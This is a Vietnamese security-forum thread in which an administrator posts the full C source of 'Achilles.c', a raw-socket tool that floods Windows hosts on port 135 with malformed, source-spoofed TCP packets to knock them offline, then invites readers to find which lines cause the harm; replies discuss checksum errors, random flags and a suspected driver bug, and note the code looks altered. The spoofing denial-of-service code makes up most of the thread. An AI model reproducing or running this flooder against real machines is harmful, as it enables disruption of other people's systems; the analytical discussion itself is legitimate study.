banner

[Rule] Rules  [Home] Main Forum  [Portal] Portal  
[Members] Member Listing  [Statistics] Statistics  [Search] Search  [Reading Room] Reading Room 
[Register] Register  
[Login] Loginhttp  | https  ]
 
Forum Index Thông tin new bugs và exploits Windows XP/NT/SMB2003/2000 DoS (Achilles)  XML
  [Question]   Windows XP/NT/SMB2003/2000 DoS (Achilles) 27/07/2006 22:17:25 (+0700) | #1 | 10352
[Avatar]
conmale
Administrator

Joined: 07/05/2004 23:43:15
Messages: 9353
Location: down under
Offline
[Profile] [PM]
SUMMARY

The following exploit code has been reported to cause Windows XP/NT/2003
and 2000 to stop responding.

DETAILS

Code:
Exploit:
/*
 * Achilles.c version2
 * Remodified Achilles Windows Attack Tool
 * compiled on FreeBSD 6.1, SuSE 10
 * Solaris 10, NetBSD 3.0,
 * Proof of Concept tool that disconnects
 * Windows machines until the program is
 * stopped. Tested locally and remotely.
 *
 * linux:~ # uname -a
 * Linux linux 2.6.13-15.10-default #1 Fri May 12 16:27:12 UTC 2006 i386 
GNU/Linux
 *
 * $ uname -a
 * SunOS unknown 5.10 Generic_118822-25 sun4u sparc SUNW,Sun-Fire-280R
 *
 * -bash2-2.05b$ uname -a
 * FreeBSD hypnos 5.4-RELEASE-p14 FreeBSD 5.4-RELEASE-p14 #1: Thu May 11 
01:34:54 CDT 2006 toor@hypnos:/usr/obj/usr/src/sys/HYPNOS  i386
 *
 * (c) 2006 J. Oquendo Genexsys.net::Infiltrated.net
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <strings.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>

#ifndef __USE_BSD
#define __USE_BSD

#endif

#ifndef __FAVOR_BSD

#define __FAVOR_BSD

#endif

#include <netinet/in_systm.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <netdb.h>

#ifdef LINUX
#define FIX(x) htons(x)

#else

#define FIX(x) (x)
#endif

struct ip_hdr {
    u_int ip_hl:4,
                ip_v:4;
    u_char ip_tos;
    u_short ip_len;
    u_short ip_id;
    u_short ip_off;
    u_char ip_ttl;
    u_char ip_p;
    u_short ip_sum;
    u_long saddr, daddr;
};

struct tcp_hdr {
    u_short th_sport;
    u_short th_dport;
    u_long th_seq;
    u_long th_syn;
    u_int th_x2:4,
                th_off:4;
    u_char th_flags;
    u_short th_win;
    u_short th_sum;
    u_short th_urp;
};

struct tcpopt_hdr {
    u_char type;
    u_char len;
    u_short value;
};

struct pseudo_hdr {
    u_long saddr, daddr;
    u_char mbz, ptcl;
    u_short tcpl;
};

struct packet {
    struct ip/*_hdr*/ ip;
    struct tcphdr tcp;
};

struct cksum {
    struct pseudo_hdr pseudo;
    struct tcphdr tcp;
};

struct packet packet;
struct cksum cksum;
struct sockaddr_in s_in;
u_short bgport, bgsize, pps;
u_long radd;
u_long sradd;
int sock;

void usage(char *progname)
{
    fprintf(stderr, "Usage: %s <dst> <src> <size> <number>\n", progname);
    fprintf(stderr, "dst:\tDestination Address\n");
    fprintf(stderr, "src:\tSource Address\n");
    fprintf(stderr, "size:\tSize of packet\n");
    fprintf(stderr, "num:\tpackets\n\n");
    exit(1);
}

inline u_short in_cksum(u_short *addr, int len)
{
    register int nleft = len;
    register u_short *w = addr;
    register int sum = 0;
    u_short answer = 0;
     while (nleft > 1) {
         sum += *w++;
         nleft -= 2;
     }
     if (nleft == 1) {
         *(u_char *)(&answer) = *(u_char *) w;
         sum += answer;
     }
     sum = (sum >> 16) + (sum & 0xF0F0);
     sum += (sum >> 16);
     answer = ~sum;
     return(answer);
}

u_long lookup(char *hostname)
{
    struct hostent *hp;

    if ((hp = gethostbyname(hostname)) == NULL) {
       fprintf(stderr, "Could not resolve %s\n", hostname);
       exit(1);
    }

    return *(u_long *)hp->h_addr;
}

void flooder(void)
{
    struct timespec ts;
    int i;

    memset(&packet, 0, sizeof(packet));

    ts.tv_sec = 0;
    ts.tv_nsec = 100;

    packet.ip.ip_hl = 5;
    packet.ip.ip_v = 4;
    packet.ip.ip_p = IPPROTO_TCP;
    packet.ip.ip_tos = 0xa0;
    packet.ip.ip_id = radd;
    packet.ip.ip_len = FIX(sizeof(packet));
    packet.ip.ip_off = 0;
    packet.ip.ip_ttl = 255;
    packet.ip.ip_dst.s_addr = radd;

    packet.tcp.th_flags = 0;
    packet.tcp.th_win = 65535;
    packet.tcp.th_seq = random();
    packet.tcp.th_ack = 0;
    packet.tcp.th_off = random();
    packet.tcp.th_urp = 0;
    packet.tcp.th_dport = 135;
    cksum.pseudo.daddr = sradd;
    cksum.pseudo.mbz = random(); /* WATCH ME CLOSELY */
    cksum.pseudo.ptcl = IPPROTO_TCP;
    cksum.pseudo.tcpl = random();

    s_in.sin_family = AF_INET;
    s_in.sin_addr.s_addr = sradd;
    s_in.sin_port = 135;

    for(i=0;;++i) {
    if( !(i&31337) ) {
        packet.tcp.th_sport = 135;
        cksum.pseudo.saddr = packet.ip.ip_src.s_addr = sradd;
        packet.tcp.th_flags = random();
        packet.tcp.th_ack = random();

    }
    else {
        packet.tcp.th_flags = rand();
        packet.tcp.th_ack = rand();
    }
       ++packet.ip.ip_id;
       /*++packet.tcp.th_sport*/;
       ++packet.tcp.th_seq;

       if (!bgport)
          s_in.sin_port = packet.tcp.th_dport = 135;

       packet.ip.ip_sum = 0;
       packet.tcp.th_sum = 0;

       cksum.tcp = packet.tcp;

       packet.ip.ip_sum = in_cksum((void *)&packet.ip, 20);
       packet.tcp.th_sum = in_cksum((void *)&cksum, sizeof(cksum));

       if (sendto(sock, &packet, sizeof(packet), 0, (struct sockaddr 
*)&s_in, sizeof(s_in)) < 0);

    }
}

int main(int argc, char *argv[])
{
    int on = 1;

    printf("Achilles.c Windows Attack Tool\n");


    if ((sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
       perror("socket");
       exit(1);
    }

    setgid(getgid()); setuid(getuid());

    if (argc < 4)
       usage(argv[0]);

    if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) 
< 0)

{
       perror("setsockopt");
       exit(1);

    }

    srand((time(NULL) ^ getpid()) + getppid());

    printf("\nFinding host\n"); fflush(stdout);

    radd = lookup(argv[1]);
    bgport = atoi(argv[3]);
    bgsize = atoi(argv[4]);
    sradd = lookup(argv[2]);
    printf("Achilles: Before my time is done I will look down on your 
corpse and smile.\n");

    flooder();

    return 0;
}


Thử tìm xem những dòng nào trong đoạn code trên quyết định tính dung hại của chương trình này? smilie)
What bringing us together is stronger than what pulling us apart.
[Up] [Print Copy]
  [Question]   Re: Windows XP/NT/SMB2003/2000 DoS (Achilles) 31/07/2006 05:30:46 (+0700) | #2 | 11199
[Avatar]
conmale
Administrator

Joined: 07/05/2004 23:43:15
Messages: 9353
Location: down under
Offline
[Profile] [PM]
Hèm... ví dụ này kinh điển vậy mà không ai thèm tham gia hay sao trời? smilie(

Uổng thiệt.
What bringing us together is stronger than what pulling us apart.
[Up] [Print Copy]
  [Question]   Windows XP/NT/SMB2003/2000 DoS (Achilles) 31/07/2006 10:13:46 (+0700) | #3 | 11270
mfeng
Researcher

Joined: 29/10/2004 15:16:29
Messages: 243
Offline
[Profile] [PM]

Em thấy cái gói tin mà chương trình gửi đi, TCP Header bị thiếu mất pseudo_header, checksum cũng tính không đúng nữa ! Khi tính checksum thì có cả pseudo, còn gửi đi thì không có :cry: . Dest port thì bị chỉ định sai, không phải port 135. smilie

-> Em chưa hiểu cơ chế nào khiến service SMB của Windows bị treo. Có phải bug này được mô tả trong MS06-030 không?

(Hình như src này cố ý sửa đổi rồi thì phải, các tham số dòng lệnh và trong src không tương ứng ... ) smilie
[Up] [Print Copy]
  [Question]   Windows XP/NT/SMB2003/2000 DoS (Achilles) 31/07/2006 20:23:34 (+0700) | #4 | 11339
NoobBK
Member

[Minus]    0    [Plus]
Joined: 09/10/2004 01:44:21
Messages: 2
Offline
[Profile] [PM]
Có 2 chỗ có vấn đề trong pseudo-header

1. 8 bit trước của ptrl phải là 0
2. TCP length không phải là random

Nhưng mà cái pseudo-header chỉ dùng để tính check sum, nếu check sum sai thì packet đó bị bỏ qua, tại sao lại stop responding nhỉ ?
[Up] [Print Copy]
  [Question]   Windows XP/NT/SMB2003/2000 DoS (Achilles) 02/08/2006 01:09:26 (+0700) | #5 | 11687
[Avatar]
xnohat
Moderator

Joined: 30/01/2005 13:59:19
Messages: 1210
Location: /dev/null
Offline
[Profile] [PM] [Email] [WWW] [Yahoo!] [MSN]
Code:
..............
         packet.tcp.th_flags = random();
         packet.tcp.th_ack = random();
       .......... 
        packet.tcp.th_flags = rand();
         packet.tcp.th_ack = rand();


Nếu em đây ngu muội xin bỏ qua cho ,theo nhận xét của cá nhân em thì tính dung hại của cái thèng này nằm ở chỗ nó random flags ,hic làm seo mà lọc đc khi mà nó cứ nhảy tùm lum ,không có dạng nhất định như là các DoS System như Trin00 hay tn2k
iJust clear, "What I need to do and how to do it"/i
br
brBox tán gẫu dời về: http://www.facebook.com/hvaonline
[Up] [Print Copy]
  [Question]   Windows XP/NT/SMB2003/2000 DoS (Achilles) 02/08/2006 06:18:10 (+0700) | #6 | 11760
[Avatar]
xnohat
Moderator

Joined: 30/01/2005 13:59:19
Messages: 1210
Location: /dev/null
Offline
[Profile] [PM] [Email] [WWW] [Yahoo!] [MSN]
Ơ ngộ nhẩy lão Conmale mở topic này ra xong đem con bỏ chợ thế à !!!!
iJust clear, "What I need to do and how to do it"/i
br
brBox tán gẫu dời về: http://www.facebook.com/hvaonline
[Up] [Print Copy]
  [Question]   Windows XP/NT/SMB2003/2000 DoS (Achilles) 02/08/2006 06:27:08 (+0700) | #7 | 11763
[Avatar]
conmale
Administrator

Joined: 07/05/2004 23:43:15
Messages: 9353
Location: down under
Offline
[Profile] [PM]

hackernohat wrote:
Ơ ngộ nhẩy lão Conmale mở topic này ra xong đem con bỏ chợ thế à !!!! 


Nóng vậy smilie)

Để bà con góp ý thêm cho vui cái đã.
What bringing us together is stronger than what pulling us apart.
[Up] [Print Copy]
  [Question]   Re: Windows XP/NT/SMB2003/2000 DoS (Achilles) 02/08/2006 12:00:49 (+0700) | #8 | 11837
[Avatar]
xnohat
Moderator

Joined: 30/01/2005 13:59:19
Messages: 1210
Location: /dev/null
Offline
[Profile] [PM] [Email] [WWW] [Yahoo!] [MSN]
He he có vẻ tụi nhỏ bị lão làm hãi rồi .Em nghĩ là tụi nhỏ ngán cái vụ code này lão ạ smilie
iJust clear, "What I need to do and how to do it"/i
br
brBox tán gẫu dời về: http://www.facebook.com/hvaonline
[Up] [Print Copy]
  [Question]   Windows XP/NT/SMB2003/2000 DoS (Achilles) 10/08/2006 15:19:13 (+0700) | #9 | 13760
[Avatar]
tnt20
Member

[Minus]    0    [Plus]
Joined: 31/07/2006 23:56:28
Messages: 58
Location: 0917505876
Offline
[Profile] [PM] [WWW] [Yahoo!]
chán quá em ngày xưa em dốt toán... dân IT mà em xuýt chết vì lập trình.. bó tay.
HVA có thành viên thế này chắc "Phát triển" lắm đây..
[Up] [Print Copy]
  [Question]   Windows XP/NT/SMB2003/2000 DoS (Achilles) 11/08/2006 08:09:37 (+0700) | #10 | 13953
mfeng
Researcher

Joined: 29/10/2004 15:16:29
Messages: 243
Offline
[Profile] [PM]
http://www.packetstormsecurity.org/0607-exploits/Achilles.c

hackernohat wrote:

Nếu em đây ngu muội xin bỏ qua cho ,theo nhận xét của cá nhân em thì tính dung hại của cái thèng này nằm ở chỗ nó random flags ,hic làm seo mà lọc đc khi mà nó cứ nhảy tùm lum ,không có dạng nhất định như là các DoS System như Trin00 hay tn2k
 


Chưa cần xét tới filter packet, vấn đề cơ bản là tại sao một gói tin dị dạng: chỉ có header, checksum sai... lại gây ra treo dịch vụ SMB trên port 135 được?. Nguyên nhân phỏng đoán là tại một đoạn code xử lý packet dị dạng nằm trong file mrxsmb.sys gây ra bof khiến cạn kiệt tài nguyên. Bây giờ cần phải reverse file này để tìm ra nguyên nhân. smilie
[Up] [Print Copy]
[digg] [delicious] [google] [yahoo] [technorati] [reddit] [stumbleupon]
Go to: 
 Users currently in here 
1 Anonymous

Powered by JForum - Extended by HVAOnline
 hvaonline.net  |  hvaforum.net  |  hvazone.net  |  hvanews.net  |  vnhacker.org
1999 - 2013 © v2012|0504|218|